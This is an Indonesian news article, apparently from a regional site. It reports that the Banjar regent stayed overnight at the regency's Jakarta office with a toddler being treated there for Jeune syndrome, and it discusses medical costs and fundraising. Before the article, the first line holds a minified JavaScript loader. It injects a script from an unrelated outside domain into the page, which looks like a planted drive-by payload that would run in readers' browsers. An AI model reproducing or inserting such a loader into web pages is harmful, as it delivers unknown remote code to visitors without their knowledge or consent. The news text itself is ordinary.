(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Bupati Banjar Nginap di Kantor Perwakilan Jakarta Temani Balita Alfatih


MARTAPURA, Sepekan sudah balita pengidap jeune syndrom (rongga dada sempit), Muhammad Alfatih (13 bulan), menjalani rawat jalan di kantor perwakilan Kabupaten Banjar di Jakarta.

Meski kondisinya berangsur membaik, namun anak warga Mataraman Kabupaten Banjar itu, masih membutuhkan penanganan medis secara berkelanjutan. Apalagi sejak beberapa pekan silam bocah laki-laki itu sempat terserang diare. Bahkan hingga saat ini kadang Alfatih juga masih kerap buang air besar (BAB) berlebihan. “Kemarin ananda Alfatih lima kali BAB. Masih perlu penanganan” ucap Kepala Dinas Kesehatan (Dinkes) Banjar Ikhwansyah, Jumat (22/2).

Dikatakannya, Pemkab Banjar terus berupaya membantu memfasilitasi pengobatan Alfatih. Termasuk dalam hal pendanaan, hingga kini sedang diupayakan menghimpun bantuan dari pihak ketiga. Perhatian besar terhadap Alfatif juga ditunjukkan langsung orang nomor satu di Kabupaten Banjar H Khalilurrahman.

Di sela kesibukannya mengikuti kegiatan kedinasan di ibu kota, pemimpin Banjar itu berusaha meluangkan waktunya untuk menjenguk Alfatih. Alfatih mulai menjalami rawat jalan di kantor perwakilan Kabupaten Banjar di Jakarta di Jalan Tebet Darat, Dalamraya, Jakarta, sejak Kamis siang 14 Februari lalu. Evakuasi balita kelahiran 11 Desember 2017 tersebut didampingi tim medis dari RSCM.

Secara berkala selama masa rawat jalan, satu atau dua kali tiap pekan, mereka akan melakukan kunjungan (homecare) untuk mengontrol kondisi Alfatih. Selama menjalani perawatan di kantor perwakilan Alfatih masih tetap memerlukan sejumlah bahan dan alat habis pakai (BAHP). Sesuai rincian kebutuhan yang disampaikan pihak RSCM, total biaya BAHP per bulannya sekktar Rp16-20 juta.

“Mudah-mudahan bisa segera kami dapatkan jalan keluarnya karena aturan keuangan sekarang kan sulit jika pemerintah daerah terus menerus menyalurkan bantuan apalagi jika jumlahnya besar Semoga ada bantuan dari pihak ketiga,” tandas Ikhwansyah.

Seperti telah diwartakan beberapa waktu lalu, Alfatih seyogyanya mulai menjalani rawat jalan di kantor perwakilan Pemkab Banjar di Tebet Darat Dalamraya, Jakarta, pada pekan pertama Januari 2019. Namun urung karena saat itu mendadak kesehatan bayi itu drop akibat diare.

Selain itu, kala itu, pihak manajemen RSCM juga masih melakukan pelatihan khusus terhadap orangtua Alfatih mengenai tindakan P3K (pertolongan pertama pada kecelakaan. Lalu, menunggu persetujuan dari Poliklinik Kencana untuk rawat jalan Alfatih. Hal ini mengingat kelak balita malang ini memerlukan ruangan khusus dan pelayanan cepat.

Alfatih telah mejalani penanganan medis secara intensif di Rumah Sakit Umum Pusat Nasional dr Cipto Mangun Kusumo (RSCM) sejak 20 Mei 2018 lalu. “Kemarin Pak Bupati kembali menjenguk ananda Alfatih. Bahkan beliau juga menginap di kantor perwakilan di Jakarta menemani ananda Alfatih,” sebut Ikhwansyah.

Beberapa waktu lalu, Guru Khalil begitu H Khalilurrahman akrab disapa, juga pernah mengunjungi Alfatih ketika bocah malang ini masih menjalani perawatan di RSCM Jakarta. Menjelang persiapan menjalani fase rawat jalan, ujicoba penggunaan ventilator (alat bantu pernapasan) juga telah dilakukan beberapa waktu lalu dan berlangsung lancar. Belum diketahui berapa lama Alfatih kelak Alfatih bakal menjalani rawat jalan.

Namun dimungkinkan masih cukup lama karena penyakit yang diidap adalah penyakit langka yang memerlukan penanganan khusus. Selama itu pula Pemkab Banjar membantu biaya hidup orangtua Alfatih di Jakarta. Dinkes Banjar beberapa bulan lalu juga menginisiasi penggalangan dana kemanusiaan untuk pembelian ventilator seharga Rp 200-an juta. Langkah ini dilakukan karena aturan pengelolaan keuangan tak memungkinkan untuk menyalurkan dana hibah dalam jumlah besar.(rendy)

Reporter:Rendy
Editor:Cell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

6 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

6 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

6 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

6 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

6 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

6 bulan ago

This website uses cookies.